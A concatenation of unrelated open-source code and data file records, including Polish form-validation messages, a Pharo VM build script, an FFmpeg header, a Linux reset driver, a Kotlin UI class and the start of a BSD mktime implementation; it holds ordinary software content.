hexColor: {\n            'default': 'Wprowadź poprawny kolor w formacie hex'\n        },\n        iban: {\n            'default': 'Wprowadź poprawny numer IBAN',\n            countryNotSupported: 'Kod kraju %s nie jest obsługiwany',\n            country: 'Wprowadź poprawny numer IBAN w kraju %s',\n            countries: {\n                AD: 'Andora',\n                AE: 'Zjednoczone Emiraty Arabskie',\n                AL: 'Albania',\n                AO: 'Angola',\n                AT: 'Austria',\n                AZ: 'Azerbejdżan',\n                BA: 'Bośnia i Hercegowina',\n                BE: 'Belgia',\n                BF: 'Burkina Faso',\n                BG: 'Bułgaria',\n                BH: 'Bahrajn',\n                BI: 'Burundi',\n                BJ: 'Benin',\n                BR: 'Brazylia',\n                CH: 'Szwajcaria',\n                CI: 'Wybrzeże Kości Słoniowej',\n                CM: 'Kamerun',\n                CR: 'Kostaryka',\n                CV: 'Republika Zielonego Przylądka',\n                CY: 'Cypr',\n                CZ: 'Czechy',\n                DE: 'Niemcy',\n                DK: 'Dania',\n                DO: 'Dominikana',\n                DZ: 'Algeria',\n                EE: 'Estonia',\n                ES: 'Hiszpania',\n                FI: 'Finlandia',\n                FO: 'Wyspy Owcze',\n                FR: 'Francja',\n                GB: 'Wielka Brytania',\n                GE: 'Gruzja',\n                GI: 'Gibraltar',\n                GL: 'Grenlandia',\n                GR: 'Grecja',\n                GT: 'Gwatemala',\n                HR: 'Chorwacja',\n                HU: 'Węgry',\n                IE: 'Irlandia',\n                IL: 'Izrael',\n                IR: 'Iran',\n                IS: 'Islandia',\n                IT: 'Włochy',\n                JO: 'Jordania',\n                KW: 'Kuwejt',\n                KZ: 'Kazahstan',\n                LB: 'Liban',\n                LI: 'Liechtenstein',\n                LT: 'Litwa',\n                LU: 'Luksemburg',\n                LV: 'Łotwa',\n                MC: 'Monako',\n                MD: 'Mołdawia',\n                ME: 'Czarnogóra',\n                MG: 'Madagaskar',\n                MK: 'Macedonia',\n                ML: 'Mali',\n                MR: 'Mauretania',\n                MT: 'Malta',\n                MU: 'Mauritius',\n                MZ: 'Mozambik',\n                NL: 'Holandia',\n                NO: 'Norwegia',\n                PK: 'Pakistan',\n                PL: 'Polska',\n                PS: 'Palestyna',\n                PT: 'Portugalia',\n                QA: 'Katar',\n                RO: 'Rumunia',\n                RS: 'Serbia',\n                SA: 'Arabia Saudyjska',\n                SE: 'Szwecja',\n                SI: 'Słowenia',\n                SK: 'Słowacja',\n                SM: 'San Marino',\n                SN: 'Senegal',\n                TN: 'Tunezja',\n                TR: 'Turcja',\n                VG: 'Brytyjskie Wyspy Dziewicze'\n            }\n        },\n        id: {\n            'default': 'Wprowadź poprawnu numer identyfikacyjny',\n            countryNotSupported: 'Kod kraju %s nie jest obsługiwany',\n            country: 'Wprowadź poprawny %s numer identyfikacyjny',\n            countries: {\n                BA: 'bośniacki',\n                BG: 'bułgarski',\n                BR: 'brazylijski',\n                CH: 'szwecki',\n                CL: 'czilijski',\n                CZ: 'czeski',\n                DK: 'duński',\n                EE: 'estoński',\n                ES: 'hiszpański',\n                FI: 'fiński',\n                HR: 'chorwacki',\n                IE: 'irlandzki',\n                IS: 'islandski',\n                LT: 'litewski',\n                LV: 'łotewski',\n                ME: 'czarnogórski',\n                MK: 'macedoński',\n                NL: 'holenderski',\n                RO: 'rumuński',\n                RS: 'serbski',\n                SE: 'szwedźki',\n                SI: 'słoweński',\n                SK: 'słowacki',\n                SM: 'san Marino',\n                ZA: 'południowo Afrykański'\n            }\n        },\n        identical: {\n            'default': 'Wprowadź taką samą wartość'\n        },\n        imei: {\n            'default': 'Wprowadź poprawnu numer IMEI'\n        },\n        imo: {\n            'default': 'Wprowadź poprawnu numer IMO'\n        },\n        integer: {\n            'default': 'Wprowadź poprawną liczbę całkowitą'\n        },\n        ip: {\n            'default': 'Wprowadź poprawny adres IP',\n            ipv4: 'Wprowadź poprawny adres IPv4',\n            ipv6: 'Wprowadź poprawny adres IPv6'\n        },\n        isbn: {\n            'default': 'Wprowadź porpawny numer ISBN'\n        },\n        isin: {\n            'default': 'Wprowadź poprawny numer ISIN'\n        },\n        ismn: {\n            'default': 'Wprowadź poprawny numer ISMN'\n        },\n        issn: {\n            'default': 'Wprowadź poprawny numer ISSN'\n        },\n        lessThan: {\n            'default': 'Wprowadź wartość mniejszą bądź równą %s',\n            notInclusive: 'Wprowadź wartość mniejszą niż %s'\n        },\n        mac: {\n            'default': 'Wprowadź poprawny adres MAC'\n        },\n        meid: {\n            'default': 'Wprowadź porpawny numer MEID'\n        },\n        notEmpty: {\n            'default': 'Wprowadź wartość, pole nie może być puste'\n        },\n        numeric: {\n            'default': 'Wprowadź poprawną liczbę zmiennoprzecinkową'\n        },\n        phone: {\n            'default': 'Wprowadź poprawny numer telefonu',\n            countryNotSupported: 'Kod kraju %s nie jest wspierany',\n            country: 'Wprowadź poprawny numer telefonu w kraju %s',\n            countries: {\n                ES: 'Hiszpania',\n                FR: 'Francja',\n                GB: 'Wielka Brytania',\n                US: 'USA'\n            }\n        },\n        regexp: {\n            'default': 'Wprowadź wartość pasującą do wzoru'\n        },\n        remote: {\n            'default': 'Wprowadź poprawną wartość'\n        },\n        rtn: {\n            'default': 'Wprowadź poprawny numer RTN'\n        },\n        sedol: {\n            'default': 'Wprowadź poprawny numer SEDOL'\n        },\n        siren: {\n            'default': 'Wprowadź poprawny numer SIREN'\n        },\n        siret: {\n            'default': 'Wprowadź poprawny numer SIRET'\n        },\n        step: {\n            'default': 'Wprowadź wielokrotność %s'\n        },\n        stringCase: {\n            'default': 'Wprowadź tekst składającą się tylko z małych liter',\n            upper: 'Wprowadź tekst składający się tylko z dużych liter'\n        },\n        stringLength: {\n            'default': 'Wprowadź wartość o poprawnej długości',\n            less: 'Wprowadź mniej niż %s znaków',\n            more: 'Wprowadź więcej niż %s znaków',\n            between: 'Wprowadź wartość składająca się z min %s i max %s znaków'\n        },\n        uri: {\n            'default': 'Wprowadź poprawny URI'\n        },\n        uuid: {\n            'default': 'Wprowadź poprawny numer UUID',\n            version: 'Wprowadź poprawny numer UUID w wersji %s'\n        },\n        vat: {\n            'default': 'Wprowadź poprawny numer VAT',\n            countryNotSupported: 'Kod kraju %s nie jest wsperany',\n            country: 'Wprowadź poprawny %s numer VAT',\n            countries: {\n                AT: 'austryjacki',\n                BE: 'belgijski',\n                BG: 'bułgarski',\n                CH: 'szwecki',\n                CY: 'cypryjski',\n                CZ: 'czeski',\n                DE: 'niemiecki',\n                DK: 'duński',\n                EE: 'estoński',\n                ES: 'hiszpański',\n                FI: 'fiński',\n                FR: 'francuski',\n                GB: 'brytyjski',\n                GR: 'grecki',\n                EL: 'grecki',\n                HU: 'węgierski',\n                HR: 'chorwacki',\n                IE: 'irlandzki',\n                IT: 'włoski',\n                LT: 'litewski',\n                LU: 'luksemburski',\n                LV: 'łoteweski',\n                MT: 'maltejski',\n                NL: 'holenderski',\n                NO: 'norweski',\n                PL: 'polski',\n                PT: 'portugalski',\n                RO: 'rumuński',\n                RU: 'rosyjski',\n                RS: 'serbski',\n                SE: 'szwedzki',\n                SI: 'słoweński',\n                SK: 'słowacki'\n            }\n        },\n        vin: {\n            'default': 'Wprowadź poprawny numer VIN'\n        },\n        zipCode: {\n            'default': 'Wprowadź poprawny kod pocztowy',\n            countryNotSupported: 'Kod kraju %s nie jest obsługiwany',\n            country: 'Wprowadź poprawny %s kod pocztowy',\n            countries: {\n                CA: 'kanadyski',\n                DK: 'duński',\n                GB: 'brytyjski',\n                IT: 'włoski',\n                NL: 'holenderski',\n                SE: 'szwecki',\n                SG: 'singapurski',\n                US: 'w USA'\n            }\n        }\n    });\n}(window.jQuery));\n"}
+{"text": "#!/usr/bin/env bash\nset -e\ncase \"`uname -m`\" in # ensure we see x86 as machine type\ni*86) ;; # we're good\n*) if type i386 2>&1 >/dev/null; then\n\techo \"Re-exec as x86\"\n\texec i386 \"$0\" \"$@\"\nfi ;;\nesac\n# assert VM with VM profiler and threaded heartbeat\nINSTALLDIR=assert/phsistaspurlinuxht\nOPT=\"-g3 -O1 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -DDEBUGVM=0 -DPharoVM\"\n\nif [ $# -ge 1 ]; then\n\tINSTALLDIR=\"$1\"; shift\nfi\n\nif ../../../scripts/checkSCCSversion ; then exit 1; fi\necho -n \"clean? \"\nread a\ncase $a in\nn|no|N|NO)\techo \"ok but this isn't safe!!\";;\n*)\t\t\ttest -f Makefile && make reallyclean\nesac\n\ntest -f plugins.int || (test -f ../plugins.int && cp -p ../plugins.int . || cp -p ../../plugins.int .)\ntest -f plugins.ext || (test -f ../plugins.ext && cp -p ../plugins.ext . || cp -p ../../plugins.ext .)\n\ntest -f config.h || ../../../platforms/unix/config/configure \\\n\t\t--without-npsqueak \\\n\t\t--with-vmversion=5.0 \\\n\t\t--with-src=spursistasrc \\\n\tTARGET_ARCH=\"-m32\" \\\n\tCFLAGS=\"$OPT -msse2 -DCOGMTVM=0\" \\\n\tLDFLAGS=\"-Wl,-rpath,'\\$\\$ORIGIN' \"\nrm -f vm/sqUnixMain.o # nuke version info\nrm -rf ../../../products/$INSTALLDIR\n# prefer make install prefix=`readlink -f \\`pwd\\`/../../../products/$INSTALLDIR`\n# but older linux readlinks lack the -f flag\nmake install-squeak install-plugins prefix=`(cd ../../../;pwd)`/products/$INSTALLDIR 2>&1 | tee LOG\nproductDir=`find ../../../products/$INSTALLDIR -name \"5.0*\"`\nproductDir=`(cd $productDir;pwd)`\nfor lib in ${THIRDPARTYLIBS}; do\n\t../../third-party/mvm ${lib} install $productDir\ndone\n../../editpharoinstall.sh ../../../products/$INSTALLDIR \"$@\"\n"}
+{"text": "module.exports = function(hljs) {\n  return {\n    case_insensitive: false,\n    lexemes: '[a-zA-Z][a-zA-Z0-9_-]*',\n    keywords: {\n      keyword: 'base-uri child-src connect-src default-src font-src form-action' +\n        ' frame-ancestors frame-src img-src media-src object-src plugin-types' +\n        ' report-uri sandbox script-src style-src', \n    },\n    contains: [\n    {\n      className: 'string',\n      begin: \"'\", end: \"'\"\n    },\n    {\n      className: 'attribute',\n      begin: '^Content', end: ':', excludeEnd: true,\n    },\n    ]\n  };\n};"}
+{"text": "/*\n * Direct3D11 HW acceleration\n *\n * copyright (c) 2009 Laurent Aimar\n * copyright (c) 2015 Steve Lhomme\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#ifndef AVCODEC_D3D11VA_H\n#define AVCODEC_D3D11VA_H\n\n/**\n * @file\n * @ingroup lavc_codec_hwaccel_d3d11va\n * Public libavcodec D3D11VA header.\n */\n\n#if !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602\n#undef _WIN32_WINNT\n#define _WIN32_WINNT 0x0602\n#endif\n\n#include \n#include \n\n/**\n * @defgroup lavc_codec_hwaccel_d3d11va Direct3D11\n * @ingroup lavc_codec_hwaccel\n *\n * @{\n */\n\n#define FF_DXVA2_WORKAROUND_SCALING_LIST_ZIGZAG 1 ///< Work around for Direct3D11 and old UVD/UVD+ ATI video cards\n#define FF_DXVA2_WORKAROUND_INTEL_CLEARVIDEO    2 ///< Work around for Direct3D11 and old Intel GPUs with ClearVideo interface\n\n/**\n * This structure is used to provides the necessary configurations and data\n * to the Direct3D11 FFmpeg HWAccel implementation.\n *\n * The application must make it available as AVCodecContext.hwaccel_context.\n *\n * Use av_d3d11va_alloc_context() exclusively to allocate an AVD3D11VAContext.\n */\ntypedef struct AVD3D11VAContext {\n    /**\n     * D3D11 decoder object\n     */\n    ID3D11VideoDecoder *decoder;\n\n    /**\n      * D3D11 VideoContext\n      */\n    ID3D11VideoContext *video_context;\n\n    /**\n     * D3D11 configuration used to create the decoder\n     */\n    D3D11_VIDEO_DECODER_CONFIG *cfg;\n\n    /**\n     * The number of surface in the surface array\n     */\n    unsigned surface_count;\n\n    /**\n     * The array of Direct3D surfaces used to create the decoder\n     */\n    ID3D11VideoDecoderOutputView **surface;\n\n    /**\n     * A bit field configuring the workarounds needed for using the decoder\n     */\n    uint64_t workaround;\n\n    /**\n     * Private to the FFmpeg AVHWAccel implementation\n     */\n    unsigned report_id;\n\n    /**\n      * Mutex to access video_context\n      */\n    HANDLE  context_mutex;\n} AVD3D11VAContext;\n\n/**\n * Allocate an AVD3D11VAContext.\n *\n * @return Newly-allocated AVD3D11VAContext or NULL on failure.\n */\nAVD3D11VAContext *av_d3d11va_alloc_context(void);\n\n/**\n * @}\n */\n\n#endif /* AVCODEC_D3D11VA_H */\n"}
+{"text": "import pandas as pd\nimport os.path as op\nfrom pingouin.utils import print_table\n\nddir = op.dirname(op.realpath(__file__))\ndts = pd.read_csv(op.join(ddir, 'datasets.csv'), sep=',')\n\n__all__ = [\"read_dataset\", \"list_dataset\"]\n\ndef read_dataset(dname):\n    \"\"\"Read example datasets.\n\n    Parameters\n    ----------\n    dname : string\n        Name of dataset to read (without extension).\n        Must be a valid dataset present in pingouin.datasets\n\n    Returns\n    -------\n    data : :py:class:`pandas.DataFrame`\n        Requested dataset.\n\n    Examples\n    --------\n    Load the `Penguin `_\n    dataset:\n\n    >>> import pingouin as pg\n    >>> df = pg.read_dataset('penguins')\n    >>> df # doctest: +SKIP\n        species  island  bill_length_mm  ...  flipper_length_mm  body_mass_g     sex\n    0    Adelie  Biscoe            37.8  ...              174.0       3400.0  female\n    1    Adelie  Biscoe            37.7  ...              180.0       3600.0    male\n    2    Adelie  Biscoe            35.9  ...              189.0       3800.0  female\n    3    Adelie  Biscoe            38.2  ...              185.0       3950.0    male\n    4    Adelie  Biscoe            38.8  ...              180.0       3800.0    male\n    ..      ...     ...             ...  ...                ...          ...     ...\n    339  Gentoo  Biscoe             NaN  ...                NaN          NaN     NaN\n    340  Gentoo  Biscoe            46.8  ...              215.0       4850.0  female\n    341  Gentoo  Biscoe            50.4  ...              222.0       5750.0    male\n    342  Gentoo  Biscoe            45.2  ...              212.0       5200.0  female\n    343  Gentoo  Biscoe            49.9  ...              213.0       5400.0    male\n    \"\"\"\n    # Check extension\n    d, ext = op.splitext(dname)\n    if ext.lower() == '.csv':\n        dname = d\n    # Check that dataset exist\n    if dname not in dts['dataset'].to_numpy():\n        raise ValueError('Dataset does not exist. Valid datasets names are',\n                         dts['dataset'].to_numpy())\n    # Load dataset\n    return pd.read_csv(op.join(ddir, dname + '.csv'), sep=',')\n\n\ndef list_dataset():\n    \"\"\"List available example datasets.\n\n    Returns\n    -------\n    datasets : :py:class:`pandas.DataFrame`\n        A dataframe with the name, description and reference of all the\n        datasets included in Pingouin.\n\n    Examples\n    --------\n\n    >>> import pingouin as pg\n    >>> all_datasets = pg.list_dataset()\n    >>> all_datasets.index.tolist()\n    ['ancova',\n     'anova',\n     'anova2',\n     'anova2_unbalanced',\n     'anova3',\n     'anova3_unbalanced',\n     'chi2_independence',\n     'chi2_mcnemar',\n     'circular',\n     'cochran',\n     'cronbach_alpha',\n     'cronbach_wide_missing',\n     'icc',\n     'mediation',\n     'mixed_anova',\n     'mixed_anova_unbalanced',\n     'multivariate',\n     'pairwise_corr',\n     'pairwise_ttests',\n     'pairwise_ttests_missing',\n     'partial_corr',\n     'penguins',\n     'rm_anova',\n     'rm_anova_wide',\n     'rm_anova2',\n     'rm_corr',\n     'rm_missing',\n     'tips']\n     \"\"\"\n    return dts.set_index('dataset')\n"}
+{"text": "{\n  \"_from\": \"postcss-value-parser@^3.0.0\",\n  \"_id\": \"postcss-value-parser@3.3.1\",\n  \"_inBundle\": false,\n  \"_integrity\": \"sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==\",\n  \"_location\": \"/postcss-minify-params/postcss-value-parser\",\n  \"_phantomChildren\": {},\n  \"_requested\": {\n    \"type\": \"range\",\n    \"registry\": true,\n    \"raw\": \"postcss-value-parser@^3.0.0\",\n    \"name\": \"postcss-value-parser\",\n    \"escapedName\": \"postcss-value-parser\",\n    \"rawSpec\": \"^3.0.0\",\n    \"saveSpec\": null,\n    \"fetchSpec\": \"^3.0.0\"\n  },\n  \"_requiredBy\": [\n    \"/postcss-minify-params\"\n  ],\n  \"_resolved\": \"https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz\",\n  \"_shasum\": \"9ff822547e2893213cf1c30efa51ac5fd1ba8281\",\n  \"_spec\": \"postcss-value-parser@^3.0.0\",\n  \"_where\": \"/Users/starfish/MyBlog/node_modules/postcss-minify-params\",\n  \"author\": {\n    \"name\": \"Bogdan Chadkin\",\n    \"email\": \"trysound@yandex.ru\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/TrySound/postcss-value-parser/issues\"\n  },\n  \"bundleDependencies\": false,\n  \"deprecated\": false,\n  \"description\": \"Transforms css values and at-rule params into the tree\",\n  \"devDependencies\": {\n    \"eslint\": \"^5.6.1\",\n    \"husky\": \"^1.0.0\",\n    \"lint-staged\": \"^7.3.0\",\n    \"prettier\": \"^1.4.4\",\n    \"tap-spec\": \"^5.0.0\",\n    \"tape\": \"^4.2.0\"\n  },\n  \"eslintConfig\": {\n    \"env\": {\n      \"es6\": true,\n      \"node\": true\n    },\n    \"extends\": \"eslint:recommended\"\n  },\n  \"files\": [\n    \"lib\"\n  ],\n  \"homepage\": \"https://github.com/TrySound/postcss-value-parser\",\n  \"husky\": {\n    \"hooks\": {\n      \"pre-commit\": \"lint-staged\"\n    }\n  },\n  \"keywords\": [\n    \"postcss\",\n    \"value\",\n    \"parser\"\n  ],\n  \"license\": \"MIT\",\n  \"lint-staged\": {\n    \"*.js\": [\n      \"eslint\",\n      \"prettier --write\",\n      \"git add\"\n    ]\n  },\n  \"main\": \"lib/index.js\",\n  \"name\": \"postcss-value-parser\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/TrySound/postcss-value-parser.git\"\n  },\n  \"scripts\": {\n    \"lint\": \"yarn lint:js && yarn lint:prettier\",\n    \"lint:js\": \"eslint . --cache\",\n    \"lint:prettier\": \"prettier '**/*.js' --list-different\",\n    \"pretest\": \"yarn lint\",\n    \"test\": \"tape test/*.js | tap-spec\"\n  },\n  \"version\": \"3.3.1\"\n}\n"}
+{"text": "xid 100 preparing\nkey k1\ndelete committed 0\ninsert provisional 100 v100\n"}
+{"text": "// SPDX-License-Identifier: GPL-2.0-only\n/*\n * Copyright (c) 2013, The Linux Foundation. All rights reserved.\n */\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"reset.h\"\n\nstatic int qcom_reset(struct reset_controller_dev *rcdev, unsigned long id)\n{\n\trcdev->ops->assert(rcdev, id);\n\tudelay(1);\n\trcdev->ops->deassert(rcdev, id);\n\treturn 0;\n}\n\nstatic int\nqcom_reset_assert(struct reset_controller_dev *rcdev, unsigned long id)\n{\n\tstruct qcom_reset_controller *rst;\n\tconst struct qcom_reset_map *map;\n\tu32 mask;\n\n\trst = to_qcom_reset_controller(rcdev);\n\tmap = &rst->reset_map[id];\n\tmask = BIT(map->bit);\n\n\treturn regmap_update_bits(rst->regmap, map->reg, mask, mask);\n}\n\nstatic int\nqcom_reset_deassert(struct reset_controller_dev *rcdev, unsigned long id)\n{\n\tstruct qcom_reset_controller *rst;\n\tconst struct qcom_reset_map *map;\n\tu32 mask;\n\n\trst = to_qcom_reset_controller(rcdev);\n\tmap = &rst->reset_map[id];\n\tmask = BIT(map->bit);\n\n\treturn regmap_update_bits(rst->regmap, map->reg, mask, 0);\n}\n\nconst struct reset_control_ops qcom_reset_ops = {\n\t.reset = qcom_reset,\n\t.assert = qcom_reset_assert,\n\t.deassert = qcom_reset_deassert,\n};\nEXPORT_SYMBOL_GPL(qcom_reset_ops);\n"}
+{"text": "var merge = require('webpack-merge')\nvar devEnv = require('./dev.env')\n\nmodule.exports = merge(devEnv, {\n  NODE_ENV: '\"testing\"'\n})\n"}
+{"text": "export { default } from './Blog'\n"}
+{"text": "getRequest()->getPost()) {\n\n            try {\n                $application = $this->getApplication();\n\n                // Test s'il y a un value_id\n                if(empty($datas['value_id'])) throw new Exception($this->_('An error occurred while saving. Please try again later.'));\n\n                // Récupère l'option_value en cours\n                $option_value = new Application_Model_Option_Value();\n                $option_value->find($datas['value_id']);\n\n                if(empty($datas['link']) OR !Zend_Uri::check($datas['link'])) {\n                    throw new Exception($this->_('Please enter a valid url'));\n                }\n\n                // Prépare le weblink\n                $html = array();\n                $weblink = new Weblink_Model_Type_Mono();\n                $weblink->find($option_value->getId(), 'value_id');\n                if(!$weblink->getId()) {\n                    $weblink->setValueId($datas['value_id']);\n                }\n\n                // Affecte l'url au lien\n                $weblink->getLink()->setUrl(!empty($datas['link']) ? $datas['link'] : null);\n\n                // Sauvegarde\n                $weblink->save();\n\n                $html = array(\n                    'success' => '1',\n                    'success_message' => $this->_('Link has been successfully saved'),\n                    'message_timeout' => 2,\n                    'message_button' => 0,\n                    'message_loader' => 0\n                );\n                if(!$weblink->getIsDeleted()) {\n                    $html['link'] = $weblink->getLink()->getUrl();\n                }\n\n            }\n            catch(Exception $e) {\n                $html = array(\n                    'message' => $e->getMessage(),\n                    'message_button' => 1,\n                    'message_loader' => 1\n                );\n            }\n\n            $this->getLayout()->setHtml(Zend_Json::encode($html));\n\n        }\n\n    }\n\n}"}
+{"text": "/*\n * Copyright 2018 Allan Wang\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage ca.allanwang.kau.searchview\n\nimport android.graphics.Typeface\nimport android.graphics.drawable.Drawable\nimport android.text.Spannable\nimport android.text.SpannableStringBuilder\nimport android.text.style.StyleSpan\nimport android.view.View\nimport android.widget.ImageView\nimport android.widget.TextView\nimport androidx.constraintlayout.widget.ConstraintLayout\nimport androidx.recyclerview.widget.RecyclerView\nimport ca.allanwang.kau.iitems.KauIItem\nimport ca.allanwang.kau.utils.adjustAlpha\nimport ca.allanwang.kau.utils.gone\nimport ca.allanwang.kau.utils.setIcon\nimport ca.allanwang.kau.utils.setRippleBackground\nimport ca.allanwang.kau.utils.visible\nimport com.mikepenz.iconics.typeface.IIcon\nimport com.mikepenz.iconics.typeface.library.googlematerial.GoogleMaterial\n\n/**\n * Created by Allan Wang on 2017-06-23.\n *\n * A holder for each individual search item\n * Contains a [key] which acts as a unique identifier (eg url)\n * and a [content] which is displayed in the item\n */\nclass SearchItem(\n    val key: String,\n    val content: String = key,\n    val description: String? = null,\n    val iicon: IIcon? = GoogleMaterial.Icon.gmd_search,\n    val image: Drawable? = null\n) : KauIItem(\n    R.layout.kau_search_iitem,\n    { ViewHolder(it) },\n    R.id.kau_item_search\n) {\n\n    companion object {\n        var foregroundColor: Int = 0xdd000000.toInt()\n        var backgroundColor: Int = 0xfffafafa.toInt()\n    }\n\n    private var styledContent: SpannableStringBuilder? = null\n\n    /**\n     * Highlight the subText if it is present in the content\n     */\n    internal fun withHighlights(subText: String?) {\n        subText ?: return\n        val index = content.indexOf(subText, ignoreCase = true)\n        if (index == -1) {\n            return\n        }\n        styledContent = SpannableStringBuilder(content)\n        styledContent!!.setSpan(\n            StyleSpan(Typeface.BOLD),\n            index,\n            index + subText.length,\n            Spannable.SPAN_EXCLUSIVE_EXCLUSIVE\n        )\n    }\n\n    override fun bindView(holder: ViewHolder, payloads: List) {\n        super.bindView(holder, payloads)\n        holder.title.setTextColor(foregroundColor)\n        holder.desc.setTextColor(foregroundColor.adjustAlpha(0.6f))\n\n        if (image != null) {\n            holder.icon.setImageDrawable(image)\n        } else {\n            holder.icon.setIcon(iicon, sizeDp = 18, color = foregroundColor)\n        }\n\n        holder.container.setRippleBackground(foregroundColor, backgroundColor)\n        holder.title.text = styledContent ?: content\n        if (description?.isNotBlank() == true) {\n            holder.desc.visible().text = description\n        }\n    }\n\n    override fun unbindView(holder: ViewHolder) {\n        super.unbindView(holder)\n        holder.title.text = null\n        holder.desc.gone().text = null\n        holder.icon.setImageDrawable(null)\n    }\n\n    class ViewHolder(v: View) : RecyclerView.ViewHolder(v) {\n        val icon: ImageView = v.findViewById(R.id.kau_search_icon)\n        val title: TextView = v.findViewById(R.id.kau_search_title)\n        val desc: TextView = v.findViewById(R.id.kau_search_desc)\n        val container: ConstraintLayout = v.findViewById(R.id.kau_search_item_frame)\n    }\n}\n"}
+{"text": "Filter 1: ON PK Fc 17 Hz Gain -7.8 dB Q 0.21\nFilter 2: ON PK Fc 131 Hz Gain -2.5 dB Q 0.97\nFilter 3: ON PK Fc 4214 Hz Gain -12.0 dB Q 1.39\nFilter 4: ON PK Fc 5294 Hz Gain 13.4 dB Q 1.43\nFilter 5: ON PK Fc 9965 Hz Gain 3.6 dB Q 1.68\nFilter 6: ON PK Fc 818 Hz Gain 3.1 dB Q 1.26\nFilter 7: ON PK Fc 2439 Hz Gain -3.7 dB Q 2.94\nFilter 8: ON PK Fc 3472 Hz Gain 3.5 dB Q 3.97\nFilter 9: ON PK Fc 4041 Hz Gain -2.8 dB Q 5.78\nFilter 10: ON PK Fc 6934 Hz Gain 1.1 dB Q 4.96"}
+{"text": "/*\n * Copyright (c) 1987, 1989 Regents of the University of California.\n * All rights reserved.\n *\n * This code is derived from software contributed to Berkeley by\n * Arthur David Olson of the National Cancer Institute.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n *    must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.  */\n\n/*static char *sccsid = \"from: @(#)ctime.c\t5.26 (Berkeley) 2/23/91\";*/\n\n/*\n * This implementation of mktime is lifted straight from the NetBSD (BSD 4.4)\n * version.  I modified it slightly to divorce it from the internals of the\n * ctime library.  Thus this version can't use details of the internal\n * timezone state file to figure out strange unnormalized struct tm values,\n * as might result from someone doing date math on the tm struct then passing\n * it to mktime.\n *\n * It just does as well as it can at normalizing the tm input, then does a\n * binary search of the time space using the system's localtime() function.\n *\n * The original binary search was defective in that it didn't consider the\n * setting of tm_isdst when comparing tm values, causing the search to be\n * flubbed for times near the dst/standard time changeover.  The original\n * code seems to make up for this by grubbing through the timezone info\n * whenever the binary search barfed.  Since I don't have that luxury in\n * portable code, I have to take care of tm_isdst in the comparison routine.\n * This requires knowing how many minutes offset dst is from standard time.\n *\n * So, if you live somewhere in the world where dst is not 60 minutes offset,\n * and your vendor doesn't supply mktime(), you'll have to edit this variable\n * by hand.  Sorry about that.\n */\n\n#include \n#include \"ntp_machine.h\"\n\n#if !defined(HAVE_MKTIME) || ( !defined(HAVE_TIMEGM) && defined(WANT_TIMEGM) )\n\n#if SIZEOF_TIME_T >= 8\n#error libntp supplied mktime()/timegm() do not support 64-bit time_t\n#endif\n\n#ifndef DSTMINUTES\n#define DSTMINUTES 60\n#endif\n\n#define FALSE 0\n#define TRUE 1\n\n/* some constants from tzfile.h */\n#define SECSPERMIN      60\n#define MINSPERHOUR     60\n#define HOURSPERDAY     24\n#define DAYSPERWEEK     7\n#define DAYSPERNYEAR    365\n#define DAYSPERLYEAR    366\n#define SECSPERHOUR     (SECSPERMIN * MINSPERHOUR)\n#define SECSPERDAY      ((long) SECSPERHOUR * HOURSPERDAY)\n#define MONSPERYEAR     12\n#define TM_YEAR_BASE    1900\n#define isleap(y) ((((y) % 4) == 0 && ((y) % 100) != 0) || ((y) % 400) == 0)\n\nstatic int\tmon_lengths[2][MONSPERYEAR] = {\n\t{ 31, 28, 31, 30, 31, 30, 